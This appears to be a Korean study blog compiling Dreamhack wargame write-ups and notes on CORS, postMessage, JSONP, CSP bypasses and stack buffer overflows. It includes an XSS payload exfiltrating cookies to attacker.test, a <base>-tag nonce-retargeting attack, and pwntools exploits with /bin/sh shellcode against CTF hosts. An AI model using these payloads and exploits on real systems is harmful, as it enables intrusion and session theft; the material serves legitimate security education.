CORS (Cross-Origin Resource Sharing)

동일 출처 정책(SOP)의 한계를 극복하고 다른 오리진 간 자원 공유를 가능하게 하는 방법

이를 위해 postMessage, JSONP 와 같은 기술들이 도입되었다.

 

  • CORS의 목적: SOP 보안 정책을 우회하여, 다른 오리진 간에 자원을 안전하게 공유할 수 있도록 설계됨
  • 취약점 발생 가능성: CORS를 잘못 설정하면 사이트 간 요청 위조(CSRF)와 같은 보안 취약점이 발생할 수 있음. 이는 웹 서비스뿐만 아니라 P2P 파일 공유 소프트웨어에서도 문제가 될 수 있음

 

 

CORS 사용 시 발생할 수 있는 주요 취약점

  • 기밀성 문제:
    • CORS가 민감한 정보를 특정 대상에게만 공유하려는 경우에도, Origin 검사를 제대로 하지 않으면 정보가 다른 사이트로 유출될 위험이 있음
    • 예를 들어, CORS 요청 시 Origin 검사가 없거나 제한이 없는 경우, 사용자의 신원 등 민감한 정보가 노출될 수 있음
  • 무결성 문제:
    • CORS 요청의 Origin을 신뢰할 수 있는지 확인하지 않거나 제한하지 않으면, XSS와 같은 보안 문제가 발생할 수 있음
    • CORS 설정 시 신뢰할 사이트를 정확히 결정하고, XSS 필터와 같은 추가적인 방어가 필요

 

 

 

postMessage 취약점

초기의 웹 환경에서는 프레임들이 서로 코드를 자유롭게 호출할 수 있었지만 SOP가 도입되면서 서로 다른 오리진의 리소스 공유가 제한되었다.

이를 해결하기 위해, 서로 다른 오리진 간에 안전하게 메시지를 주고받을 수 있는 API가 고안되었다.

 

  • 메시지 전송: 대상 윈도우의 postMessage 메소드를 호출하여 메시지를 전송
  • 메시지 수신: 수신 측에서는 message 전역 이벤트를 사용해 메시지를 처리

postMessage는 문자열뿐만 아니라 객체도 주고받을 수 있지만, 보안을 위해 함수, DOM 노드, 프로토타입, get/set 속성은 전송할 수 없다.

또한, 전송되는 객체는 복사되기 때문에, 송신 후에 객체를 변경해도 수신 측에서는 변경된 내용을 볼 수 없다.

 

 

Origin 미확인

postMessage API 사용 시 Origin 을 명확히 지정 및 검사해야 한다.

message 이벤트 핸들러에서 origin 속성을 검사하지 않고 메시지의 내용을 신뢰하면 보안 문제가 발생할 수 있다.

 

아래는 Origin을 확인하지 않는 예제다.

프레임 내 하위 윈도우에서 부모 윈도우로 postMessage를 보내고 있다. 

여기서 부모 윈도우에서 수신한 messgae의 data를 innerHTML로 넣는 것을 볼 수 있다.

이 때 부모 윈도우에서 portMessage의 Origin을 확인하지 않아 공격자의 오리진에서 임의 HTML을 삽입할 수 있다.

// https://dreamhack.io
window.onmessage = function (e) {
    var dialog = document.getElementById('my-dialog');
    if (dialog == null) {
        dialog = document.createElement('dialog');
        dialog.id = 'my-dialog';
        document.body.appendChild(dialog);
    }
    dialog.setAttribute('open', '');
    dialog.innerHTML = e.data;  // Insert html
};

부모 window

// https://bob.dreamhack.io
parent.postMessage('<h1>안내</h1><p>작업이 완료되었습니다.</p>', 'https://dreamhack.io');

하위 window

// https://attacker.test
parent.postMessage(`XSS attack<script>
new Image().src="https://attacker.test/retrieve?" + document.cookie);
alert(document.domain);
<${'/'}script>`, 'https://dreamhack.io');

공격자 window

 

 

Origin 전환 경합 조건

postMessage를 사용할 때 메시지를 보내는 대상이 웹 문서가 아닌 창(윈도우)라는 것을 주의해야 한다.

창의 경우에는 사용자가 하이퍼링크를 방문하거나 스크립트가 다른 문서로 리다이렉트시켜 Origin이 변경될 수 있다.

이 상태에서 메시지를 보내면 의도하지 않은 Origin으로 메시지가 전송되는 보안 문제가 발생할 수 있다.

 

공격 시나리오

  1. 부모 window에서 하위 window 생성
  2. 하위 window가 부모 window한테 postMessage로 메시지 및 비밀 값 전송
  3. 부모 window가 공격작의 다른 웹 사이트로 리다이렉트
  4. 하위 window는 여전히 부모 window에게 메시지 및 비밀 값 전송
  5. 공격자 사이트가 하위 window가 보내주는 메시지 수신

 


 

 

JSONP 취약점

JSON with Padding의 준말

CORS 기술이 도입되기 전, SOP를 우회하기 위해 사용된 방식

JSONP API는 JSON API와 유사하나, 응답 데이터를 특정 콜백 함수로 호풀하는 코드로 감싸고 요청 시 XHR이 아니라 다음과 같이 스크립트로 포함시켜 동작한다는 점이 다르다.

<script src="https://api.test/request.jsonp?id=123&callback=onAPIResponse">

 

 

응답은 onAPIResponse({...}); 식으로 생성되어 최종적으로 본래 문서의 함수를 호출하게 된다.

 

 

Origin 검사 부재로 인한 CSRF

HTTP GET 메소드에 의존하는 JSONP 특성 상 CSRF 공격에 취약하다.

 

민감한 정보를 반환하거나 권한이 필요한 작업을 수행하는 JSONP API가 CSRF 공격에 노출되었을 경우,

JSONP API를 이용해 추가적인 정보 유출 및 피해가 발생할 수 있다.

 

이를 방어하기 위해 JSONP 요청을 처리할 때 요청자의 Origin을 검사하거나, CSRF 토큰을 사용할 수 있다.

 

 

콜백 함수명 검증 부재로 인한 제공자 XSS

JSONP API 대부분은 사용자가 콜백 함수명을 직접 지정할 수 있도록 하고 있다. 만일 콜백명에 HTML 코드 등을 삽입한다면 브라우저는 이를 HTML 코드로 인식할 수 있고, 이 경우 XSS 취약점이 발생하게 된다.

 

콜백 HTML 삽입을 막기 위해서 콜백명에 필터를 적용해야 한다. 

 

JSONP는 API 제공자의 코드를 그대로 사용자의 웹 문서에서 실행한다.

만약 JSONP API가 침해 사고를 당해 악의적인 응답이 들어온다면 이를 이용하는 모든 사이트는 XSS 공격에 노출된다.

따라서 JSONP 사용을 피하고 CORS 정책 헤더를 대신 사용해야 한다.

 

문제 파일

CSP 를 사용하여 XSS 공격을 방지하고 있지만, base-uri 정책이 없다.

#중략

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

#중략

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)
    
#중략

 

 

/vuln 페이지에서 응답으로 보내주는 html 코드는 아래와 같다.

Bootstrap을 사용해 간단한 고정 상단 네비게이션 바와 이미지를 포함한 웹 페이지를 구성하고 있다.

여기서 주목해야 할 부분은 /static/js/jquery.min.js, /static/js/bootstrap.min.js에서 자바스크립트 파일을 불러온다는 것이다.

<!doctype html>
<html>
  <head>
    <link rel="stylesheet" href="/static/css/bootstrap.min.css">
    <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
    <link rel="stylesheet" href="/static/css/non-responsive.css">
    <title>Index CSP-Bypass-Advanced</title>
    
  
  <style type="text/css">
    .important { color: #336699; }
  </style>

  </head>
<body>

    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">CSP-Bypass-Advanced</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
          </ul>

          <ul class="nav navbar-nav navbar-right">
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav>

    <div class="container">
      
  <img src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>

    </div> <!-- /container -->

    <!-- Bootstrap core JavaScript -->
    <script src="/static/js/jquery.min.js" nonce=fd084e469385def08569d21601b06e28></script>
    <script src="/static/js/bootstrap.min.js" nonce=fd084e469385def08569d21601b06e28></script> 
</body>
</html>

 

 

 

풀이

base-uri 정책이 없으면  <base> 태그를 이용해 URL 기반의 공격을 할 수 있다.

<base> 태그는 HTML 문서의 상대 경로 기반 URL의 기준을 설정하는 데 사용되며, 모든 상대경로가 해당 URL을 기준으로 해석되고 원하는 경로로 연결된다.

 

 

/vuln 페이지에서 /static/js/jquery.min.js, /static/js/bootstrap.min.js  자바스크립트 파일을 불러오기 때문에 

  1. 내 서버에 /static/js/jquery.min.js 또는 /static/js/bootstrap.min.js 파일을 만들고
  2. <base> 태그로 내 서버를 기준 URL로 지정하면 악성 스크립트가 실행될 수 있게된다. 

 

 

먼저 서버를 만들어 준다. 나는 깃허브로 만들어 주었다.

참고 - https://dnight.tistory.com/entry/GitHubio-%ED%8E%98%EC%9D%B4%EC%A7%80-%EB%A7%8C%EB%93%A4%EA%B8%B0

 

 

1. 해당 서버에 /static/js 폴더를 만들고, jquery.min.js 파일을 생성한다.

 

 

2. 이제 /flag 페이지에 <base href='[내 서버]'> 를 입력하여 제출하면 flag를 얻을 수 있다.

/flag

 

/memo

'웹 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] Tomcat Manager 풀이  (0) 2024.10.29
[드림핵] [wargame.kr] tmitter 풀이  (0) 2024.10.29

 

신뢰하는 도메인에 업로드

만약 정책에서 허용하는 출처가 파일 업로드 및 다운로드 기능을 제공한다면, 공격자는 출처에 스크립트와 같은 자원을 업로드한 뒤, 다운로드 경로로 웹 페이지 자원을 포함시킬 수 있다.

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
...
<h1>검색 결과: <script src="/download_file.php?id=177742"></script></h1>

외부 자원 업로드 예시

 

 

 

JSONP API

만약 CSP에서 허용한 출처가 JSONP API를 지원한다면, callback 파라미터에 원하는 스크립트를 삽입하여 공격이 가능함

(JSONP - 웹 애플리케이션에서 서로 다른 도메인 간에 데이터를 주고받을 때 사용되는 기술)

 

웹 페이지에서 *.google.com 에서 온 출처만 허용한다고 가정하면, 구글에서  JSOMP API를 지원하는 서버를 찾아 callback에 원하는 스크립트를 삽입할 수 있다.

https://accounts.google.com/o/oauth2/revoke?callback=alert(1);

 

JSONP API를 제공하는 서비스는 콜백 이름에 식별자를 제외한 문자를 거부함으로써 이를 추가적으로 방어할 수 있다.

그러나 가능한 경우 JSONP보다는 CORS를 지원하는 API를 사용하는 것이 좋다.

 

 

 

nonce 예측 가능

CSP의 nonce는 예측 불가능한 값을 태그 속성에 포함시켜 XSS 공격을 방어하는 데 사용된다.

이 방어를 효과적으로 구현하려면 몇 가지 주의사항이 필요하다.

  • nonce 의 예측 불가능성: nonce 값은 요청마다 새로 생성되며, 공격자가 예측하거나 취득할 수 없는 값이어야 한다. nonce 생성 알고리즘이 취약하면 공격자가 이를 예측해 악성 스크립트를 삽입할 수 있다.
  • 캐싱 주의: nonce가 포함된 HTTP 헤더나 <meta> 태그가 캐싱되지 않도록 해야 한다. 특히, PHP나 CGI와 같은 서버 스크립트는 경로에 따라 잘못된 캐싱이 발생할 수 있다. 예를 들어, '.css' 확장자 파일이 캐시되어 같은 nonce 값이 반환되면, 공격자가 이를 악용할 수 있다.
  • 보안 난수 생성기 사용: nonce 값은 보안상 안전한 의사 난수 생성기를 사용해 생성해야 한다. 공격자가 예측할 수 있는 현재 시각 기반의 난수 생성기 (srand(), rand()) 는 사용하지 말아야 한다.

 

 

Nginx와 PHP FastCGI SAPI(php-fpm) 설정에서는 nonce의 캐싱으로 인한 보안 취약점이 발생할 수 있다.

location ~ \.php {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}

 

 

  • 현재 문제점:
    • /dom_xss_vulnerable.php/style.css와 같은 경로로 접근할 때, PHP 파일이 실행되어 nonce가 <meta> 태그로 출력됩니다.
    • CDN은 일반적으로 CSS나 스크립트 같은 정적 파일을 캐싱하므로, 출력된 nonce도 캐싱됩니다.
    • 공격자는 고정된 nonce 값을 이용해 XSS 공격이 가능: <script nonce="{고정된 nonce 값}">alert(1);</script>
  • 기존 fastcgi-php.conf 설정:
    • $fastcgi_split_path_info를 사용하여 .php 경로 뒤에 추가 경로를 허용 (fastcgi_split_path_info ^(.+\.php)(/.+)$;).
    • 이러한 설정은 PHP가 경로 뒤의 CSS 파일처럼 보이는 요청도 실행하게 만듭니다.
  • 수정 방법:
    • PATH_INFO 기능을 사용하지 않는 경우: .php로 끝나는 URL만 FastCGI로 전달되도록 수정해야함
location ~ \.php$ {
    try_files $uri =404;
    fastcgi_index index.php;
    include fastcgi.conf;
    fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}

 

 

 

 

base-uri 미지정

HTML의 하이퍼링크에서 경로를 지정할 때, 호스트 주소 없이 경로를 사용하면 브라우저는 현재 문서를 기준으로 경로를 해석한다.

<base> 태그는 이 기준점을 변경하여 <a>, <from> 등의 기본 target 속성을 지정할 수 있다.

 

공격 시나리오

  • 공격자가 <base href f="https://malice.test/xss-proxy/">와 같은 마크업을 삽입하면, 이후 모든 상대 경로가 공격자의 서버를 가리키게 되어 임의의 스크립트가 삽입될 수 있다.

방어 방법

  • CSP base-uri 지시문을 사용하여 <base> 태그의 href 속성을 제한한다.
Content-Security-Policy: base-uri 'none'

 

Nonce Retargeting 공격

  • CSP가 스크립트 실행을 막더라도, base-uri 지시문이 설정되지 않은 경우 <base> 태그를 이용해 공격자가 임의의 자원을 로드할 수 있다.
<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE>
//jquery.js는 https://malice.test/jquery.js를 가리키게 된다

 

 

 

 

Content Security Policy (CSP)

  • 웹 보안을 강화하기 위해 웹 브라우저가 웹사이트의 리소스를 로드하는 방식을 제어하는 웹 보안 표준
  • 웹 사이트가 신뢰할 수 있는 리소스 출처를 명시적으로 지정함으로써, XSS(Cross-Site Scripting), 데이터 삽입 공격 등과 같은 일반적인 웹 공격을 방지
  • XSS 공격으로부터 피해를 최소화할 수 있는 방안이지만, XSS 공격의 피해를 완전히 무력화하기 위한 수단은 아님

 

사용 방법

CSP는 HTTP 헤더HTML의 <meta> 태그를 통해 정의됨

CSP 구문은 여러 정책 지시문(policy-directive)으로 구성되며, 각 지시문은 세미콜론(;)으로 구분됨

 

 

CSP 적용 예시

페이지 자원이 동일 오리진('self') 또는 특정 도메인(https://example.dreamhack.io)에서만 로드되도록 설정하는 예시

  • HTTP 헤더 사용
Content-Security-Policy: default-src 'self' https://example.dreamhack.io

 

  • HTML <meta> 태그 사용
<meta http-equiv="Content-Security-Policy" content="default-src 'self' https://example.dreamhack.io">

 

 

 

 

CSP는 웹 페이지 보안을 위해 인라인 코드와 문자열을 실행하는 메커니즘을 기본적으로 차단한다.

 

CSP 기본 정책 - 인라인 코드 (Inline Code)

  • 인라인 코드 차단: <script>alert(1);</script>와 같이 <script> 태그 안에 직접 코드를 삽입하는 인라인 코드를 유해하다고 간주하여 사용을 차단
  • 외부 스크립트 권장: 인라인 코드 대신 <script src="alert.js"></script> 처럼 scr 속성을 사용해 외부 스크립트를 로드하도록 권장
  • 허용되지 않는 인라인 코드 유형:
    • on 이벤트 핸들러 속성 (예: onclick="...")
    • javascript: URL 스킴
    • 인라인 <style> 태그와 style 속성도 차단되며, 외부 스타일시트 사용을 권장

CSP 기본 정책 - eval

  • eval 차단: eval() 함수과 같이 문자열을 실행 가능항 자바스크립트 고드로 변환하는 모든 메커니즘을 차단
  • 차단되는 예제: setTimeout("alert(1)", ....) 와 같이 문자열을 사용한 함수 호출은 차단
  • 허용되는 예제: setTimeout(function(){alert(1)}, ...) 처럼 인라인 함수 형태로 전달되는 경우는 허용

 

Policy Directive

  • <directive> <value> 형식으로 구성됨
    • <directive> (지시문): 어떤 종류의 리소스에 대해 출처를 제어할지 결정하는 역할
    • <value> (값): 지시문에서 제어할 리소스의 출처를 정의하며, 여러 출처를 공백으로 구분하여 나열 가능
지시문 설명
default-src -src로 끝나는 모든 지시문의 기본 동작을 제어합니다. 만약 CSP 구문 내에서 지정하지 않은 지시문이 존재한다면 default-src의 정의를 따라갑니다.
img-src 이미지를 로드할 수 있는 출처를 제어합니다.
script-src 스크립트 태그 관련 권한과 출처를 제어합니다.
style-src 스타일시트 관련 권한과 출처를 제어합니다.
child-src 페이지 내에 삽입된 프레임 컨텐츠에 대한 출처를 제어합니다.
base-uri 페이지의 <base> 태그에 나타날 수 있는 URL을 제어합니다.

 

값 (출처) 설명
*://example.com 출처의 scheme은 와일드카드를 이용해 표현할 수 있습니다.
https://*.example.com 출처의 호스트 서브도메인은 와일드카드를 이용해 표현할 수 있습니다. (단, 와일드카드는 호스트의 중간에 들어갈 수 없습니다. i.e) https://www.*.com, https://*.example.*
또한 서브도메인을 와일드카드로 표현할 시, 서브도메인이 붙어있지 않는 도메인은 포함되지 않습니다. i.e) https://*.example.com으로 출처를 표기할 경우, https://example.com은 포함 안됨
https://example.com:* 출처의 포트는 와일드카드를 이용해 표현할 수 있습니다.
none 모든 출처를 허용하지 않습니다.
self 페이지의 현재 출처 (Same Origin) 내에서 로드하는 리소스만 허용합니다.
unsafe-inline 예외적으로 인라인 코드의 사용을 허용합니다.
unsafe-eval 예외적으로 eval 과 같은 텍스트-자바스크립트 변환 메커니즘의 사용을 허용합니다
nonce-<base64-value> nonce 속성을 설정하여 예외적으로 인라인 코드를 사용합니다. <base64-value>는 반드시 요청마다 다른 난수 값으로 설정해야 합니다. 해당 출처를 설정하면 unsafe-inline 은 무시됩니다.
<hash-algorithm>-<base64-value> script 혹은 style 태그 내 코드의 해시를 표현합니다. 해당 출처를 설정하면 unsafe-inline은 무시됩니다.

 

 

 

 

CSP Examples

Content-Security-Policy: default-src 'self'

모든 리소스의 출처를 현재 페이지와 같은 출처로 제한함

 

Content-Security-Policy: default-src 'self' https://googleapis.com https://*.googleapis.com

모든 리소스의 출처를 현재 페이지와 같은 출처와 " https://googleapis.com", "https://*.googleapis.com"으로 제한함 

 

Content-Security-Policy: default-src 'self'; img-src *; script-src static.dreamhack.io

모든 리소스의 출처를 현재 페이지와 같은 출처로 제한하고, 이미지의 출처는 모든 호스트를 허용, 스크립트 태그의 출처는 "static.dreamhack.io"로 제한

 

Content-Security-Policy: child-src 'self' frame.dreamhack.io

페이지 내에 삽입된 프레임 콘텐츠 URL은 현재 페이지와 같은 출처와 "frame.dreamhack.io"내의 컨텐츠만 로드할 수 있음

 

Content-Security-Policy: base-uri 'none'

base 태그의 URL은 어느 것도 허용하지 않음

 

Content-Security-Policy: script-src 'unsafe-eval'

자바스트립트 코드 내에 eval 과 같은 텍스트-자바스크립트 변환 메커니즘의 사용을 허용

 

Content-Security-Policy: script-src 'sha256-5jFwrAK0UV47oFbVg/iCCBbxD8X1w+QvoOUepu4C2YA='

스트립트 태그 내의 코드 혹은 src 속성으로 지정된 파일의 sha256 해시를 base64로 인코딩한 결과가 "5jFwrAK0UV47oFbVg/iCCBbxD8X1w+QvoOUepu4C2YA="와 다르다면 스크립트 로드에 실패

 

 

 

 

 

이게 왜 001이지?ㅋㅋ

000을 푼 사람이라면 쉡게 풀 수 있다....

문제

환경 정보에서 32비트(i386) 리틀 엔디언 아키텍처에서 실행된다는 것을 확인한다.

32bit 환경이므로 스택 프레임 구조   buf(n) | sfp(4) | ret(4)  이렇게 유추할 수 있다.

그리고 000과 다르게 'NX enabled'이기 때문에, 쉘 코드로 풀 수는 없다.

 

 

 

문제 파일

gets()스택 버퍼 오버플로우 취약점이 존재하는 위험한 함수다.

코드 안에 read_flag() 함수가 있기 때문에 오버플로우로 ret을 해당 함수 주소로 오염시키면 될 것 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

 

 

풀이

gdb로 분석한다.

 스택 프레임 구조가   buf(n) | sfp(4) | ret(4) 으로 구성되고, ebp-0x80에서 0x80이 버퍼의 크기이므로

retutn address까지의 거리는 128(0x80) + 4 = 132바이트다.

 

 

위 내용으로 스택 프레임의 구조를 아래와 같이 표현할 수 있다.

 

 

따라서 페이로드는 다음과 같이 구성하면 된다.

 

 

read_flag 함수의 주소를 확인한다. 0x080485b9

 

 

 

exploit 코드를 작성한다.

from pwn import *

p = remote('host3.dreamhack.games',19353)

payload = b"\x90" * 132
payload += p32(0x080485b9)     #주소를 리틀 엔디안 방식으로 패킹

p.sendline(payload)
p.interactive()

 

 

 

exploit 파일을 실행시키면 read_flag 함수가 실행되어, flag가 출력된다.

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] basic_exploitation_000 풀이  (0) 2024.08.27
[드림핵] shell_basic 문제 풀이  (0) 2024.08.21

문제

환경 정보에서 32비트(i386) 리틀 엔디언 아키텍처에서 실행된다는 것을 확인한다.

32bit 환경이므로 스택 프레임 구조   buf(n) | sfp(4) | ret(4)  이렇게 유추할 수 있다.

 

 

 

문제 파일

buf는 128바이트(0x80)로 선언되었는데, scanf("%141s", buf)에서

buf에 128바이트를 초과한 141바이트까지 읽을 수 있도록 되어 있다. 

버퍼 오버플로우 취약점을 이용해 쉘을 얻어보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

 

 

풀이

먼저 우분투 환경에서 파일을 생성한다.

 

해당 파일을 컴파일한다.

 

실행해보면, buf의 주소가 출력된다. 하지만 이 값은 30초마다 변경된다.

 

gdb로 분석한다.

 스택 프레임 구조가   buf(n) | sfp(4) | ret(4) 으로 구성되고, ebp-0x80에서 0x80이 버퍼의 크기이므로

retutn address까지의 거리는 128(0x80) + 4 = 132바이트다.

 

 

위 내용을 통해 스택 프레임 구조를 알 수 있다.

 

따라서 페이로드는 다음과 같이 구성한다.

 

 

 

 

 

파이썬 pwntools 모듈로 exploit 코드를 작성한다.

from pwn import *

p = remote('host3.dreamhack.games',22834)
context.arch = "i386" 

p.recvuntil(b"buf = (") 
buf_addr = int(p.recv(10),16)

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x90" * 106
payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

buf = (0x· · · · · · · ·)으로 출력되기 때문에, 'buf = ('을 없애고 buf 주소 10자리를 16진수로 받아서 저장한다.

그리고 26바이트  shellcode를 사용해야한다.

(기본 25바이트 코드를 사용했다가 한참 헤매었다. scanf 함수 때문에 꼭 26 바이트 쉘코드를 사용한다.)

132-26=106 만큼 의미없는 값을 채워주고 buf 주소를 넣는다.

 

 

 

exploit 파일을 실행하면 쉘을 얻을 수 있다.

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] basic_exploitation_001 풀이  (0) 2024.08.27
[드림핵] shell_basic 문제 풀이  (0) 2024.08.21

 

scanf 함수의 포맷 스트링 중 하나인 %s는 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며,

공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다.

 

이러한 특징으로 인해, 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다.

 

따라서 scanf에 %s포맷 스트링은 절대로 사용하지 말아야 하며, 정확히 n개의 문자만 입력받는 %[n]s의 형태로 사용해야 한다.

위험한 함수 안전한 함수
scanf, strcpystrcatsprintf strncpystrncatsnprintffgetsmemcpy

 

 

 

아래는 포멧 스트링 취약점이 존재하는 코드다.

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

 

컴파일한 후, 해당 파일을 실행한다.

"A"를 64개 입력하면 세그멘테이션 오류(잘못된 메모리 주소에 접근함) 에러가 출력된다.

(코어 덤프됨)은코어파일(core)을 생성했다는 것으로, 프로그램이 비정상 종료됐을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것이다.

 

 

gdb를 사용해서 코어 파일을 분석해보자.

 

main 함수에서 반환하려고 할때, 스택 최상단에 저장된 값이 0x4141414141414141('AAAAAAAA') 라는 것을 알 수 있다.

이는 실행가능한 메모리의 주소가 아니므로 세그멘테이션 오류가 발생한 것이다.

만약 원하는 코드 주소가 되도록 입력을 넣으면, main 함수에서 반환될 때, 원하는 코드가 실행되도록 조작할 수 있다.

 

 

gdb로 rao 파일을 분석해보자.

scanf()에 인자를 전달하는 부분을 보면, 오버플로우를 발생시킬 버퍼가 rbp-0x30에 위치하는 것을 알 수 있다.

scanf( "%s" , (rbp- 0x30 ))

 

 

스택 프레임의 구조는 다음과 같다.

rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8에는 반환 주소가 저장된다.


입력할 버퍼와 반환 주소 사이에 0x38 만큼의 거리가 있으므로, 그 만큼을 쓰레기 값(dummy data)으로 채우고,

실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있다.

 

 

 

gdb로 get_shell() 함수의 주소를 확인한다.  → 0x4011dd 

 

그러면 다음과 같은 페이로드(공격을 위해 프로그램에 전달하는 데이터)를 구성할 수 있다.

페이로드와 페이로드로 오염되는 스택 프레임

 

 

 

익스플로잇을 작성할 때는 대상 시스템의 엔디언을 고려해야 한다. 

리틀 엔디언을 사용하는 인텔 x86-64아키텍처를 사용하고 있으므로 get_shell()의 주소 0x4011dd

\xdd\x11\x40\x00\x00\x00\x00\x00로 전달해야 한다.

 

 

파이썬으로 exploit 코드를 작성하고

from pwn import *

p = process('./rao')

payload = b"A"*0x30                               #buf
payload += b"B"*0x8                               #SFP
payload += b"\xdd\x11\x40\x00\x00\x00\x00\x00"    #return address

p.recvuntil('Input: ')

p.sendline(payload)
p.interactive()

 

 

exploit 파일을 실행시키면, 쉘을 얻게 된다.

 

 

 

 

 

참고 - 드림핵 ( System Hacking) https://dreamhack.io/lecture/roadmaps/all/system-hacking

 

목록 | 로드맵 | Dreamhack

Memory Corruption: Stack Buffer Overflow 9.7★ (234) Free

dreamhack.io

 

 

  • 버퍼 : 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소
  • 버퍼 역할 : 간접적으로 데이터를 전달하게 하여, 빠른 속도로 이동하던 데이터가 안정적으로 목적지에 도달할 수 있도록 완충 작용 수행
  • 버퍼 오버플로우 : 버퍼가 넘치는 것
  • 메모리 오염 : 일반적으로 버퍼는 메모리상에 연속해서 할당되어 있으므로, 어떤 버퍼에서 오버플로우가 발생하면, 뒤에 있는 버퍼들의 값이 조작될 위험이 존재

 


예제

 

중요데이터 변조

버퍼 오버플로우가 발생하는 버퍼 뒤에 중요한 데이터가 있다면, 해당 데이터가 변조됨으로써 문제가 발생할 수 있다.

  1. strncpy를 사용할 때, temp 버퍼의 크기인 16바이트를 초과해 password를 복사하면 스택 버퍼 오버플로우가 발생
  2. temp 뒤에 위치한 auth 변수의 값이 변경되어 if(check_auth(argv[1])) 조건이 항상 참이 됨   
int check_auth(char *password) {
    int auth = 0;  //auth는 스택에서 temp 뒤에 위치
    char temp[16];
    
    strncpy(temp, password, strlen(password)); 
    if(!strcmp(temp, "SECRET_PASSWORD"))
        auth = 1;
    
    return auth;
}
int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: ./sbof_auth ADMIN_PASSWORD\n");
        exit(-1);
    }
    
    if (check_auth(argv[1]))
        printf("Hello Admin!\n");
    else
        printf("Access Denied!\n");
}

temp에 16바이트를 초과한 값을 넣어, 인증에 성공한 모습

 

 

 

데이터 유출

C언어에서 문자열은 널바이트(\0)로 끝나며, 표준 출력 함수들은 이를 문자열의 끝으로 인식한다. 그러나 버퍼 오버플로우로 널바이트를 제거하면, 출력 시 다음 버퍼의 데이터까지 읽을 수 있어 정보 유출이 발생할 수 있다.

  1. 8바이트 크기의 name 버퍼에 12바이트를 입력하면 오버플로우가 발생해, name과 secret 버퍼 사이의 4바이트 널 배열(barrier)이 덮어씌워질 수 있음
  2. 널 바이트가 제거되면 secret 버퍼의 데이터까지 읽을 수 있음
int main(void) {
  char secret[16] = "secret message";
  char barrier[4] = {};
  char name[8] = {};
  
  memset(barrier, 0, 4);
  
  printf("Your name: ");
  read(0, name, 12);
  
  printf("Your name is %s.", name);
}

name에 12바이트를 초과한 값을 넣어, secret message가 출력된 모습

 

 

 

실행 흐름 조작

택 버퍼 오버플로우로 반환 주소 (return address)를 조작하면 프로세스의 실행 흐름을 바꿀 수 있다.

SFP: 함수 호출 시 스택에 저장되는 이전 함수의 프레임 포인터를 의미. SFP 는 주로 함수 간의 호출 관계를 유지하고, 함수가 종료된 후에 원래 호출 위치로 복귀하는 데 사용됨

  1. buf에 16바이트 이상의 데이터를 입력하면 스택에서 buf 다음에 위치한 메모리 영역, 즉 반환 주소를 덮어쓸 수 있음
int main(void) {
    char buf[8];
    printf("Overwrite return address with 0x4141414141414141: ");
    gets(buf);
    return 0;
}

8바이트는 buf를 채우고, 그 다음 8바이트는 SFP를 채우고, AAAAAAAA가 반환 주소를 4141414141414141로 변경

 

 

 

 

 

 

 

 

 

참고 - 드림핵 ( System Hacking) https://dreamhack.io/lecture/roadmaps/all/system-hacking

 
 

목록 | 로드맵 | Dreamhack

Memory Corruption: Stack Buffer Overflow 9.7★ (234) Free

dreamhack.io

 

+ Recent posts